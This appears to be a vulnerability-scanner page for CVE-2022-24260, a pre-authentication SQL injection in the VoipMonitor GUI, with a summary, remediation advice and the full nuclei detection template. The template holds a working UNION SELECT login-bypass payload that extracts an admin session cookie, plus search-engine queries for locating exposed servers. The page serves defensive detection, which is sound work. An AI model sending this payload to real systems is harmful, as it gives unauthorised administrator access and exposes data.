VoipMonitor - Pre-Auth SQL Injection

criticalseverity

9.8CVSS score

50%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

A SQL injection vulnerability in Voipmonitor GUI before v24.96 allows attackers to escalate privileges to the Administrator level.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.

Fix

Apply the latest security patches or updates provided by the vendor to fix the SQL injection vulnerability in the VoipMonitor application.

How to confirm it

Send: POST /api.php
Positive when: contains "\"success\":true" and "_vm_version" and "_debug" AND status 200

Run it with nuclei: nuclei -id CVE-2022-24260 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-24260

info:
  name: VoipMonitor - Pre-Auth SQL Injection
  author: gy741
  severity: critical
  description: A SQL injection vulnerability in Voipmonitor GUI before v24.96 allows attackers to escalate privileges to the Administrator level.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the SQL injection vulnerability in the VoipMonitor application.
  reference:
    - https://kerbit.io/research/read/blog/3
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24260
    - https://www.voipmonitor.org/changelog-gui?major=5
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-24260
    cwe-id: CWE-89
    epss-score: 0.49992
    epss-percentile: 0.98912
    cpe: cpe:2.3:a:voipmonitor:voipmonitor:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: voipmonitor
    product: voipmonitor
    shodan-query:
      - http.title:"VoIPmonitor"
      - http.title:"voipmonitor"
    fofa-query: title="voipmonitor"
    google-query: intitle:"voipmonitor"
  tags: cve,cve2022,voipmonitor,sqli,unauth,vkev,vuln

http:
  - raw:
      - |
        POST /api.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        module=relogin&action=login&pass=nope&user=a' UNION SELECT 'admin','admin',null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,1,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null; #

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"success":true'
          - '_vm_version'
          - '_debug'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: kval
        kval:
          - PHPSESSID

References

Use this check only on systems you are authorised to test. Where the data comes from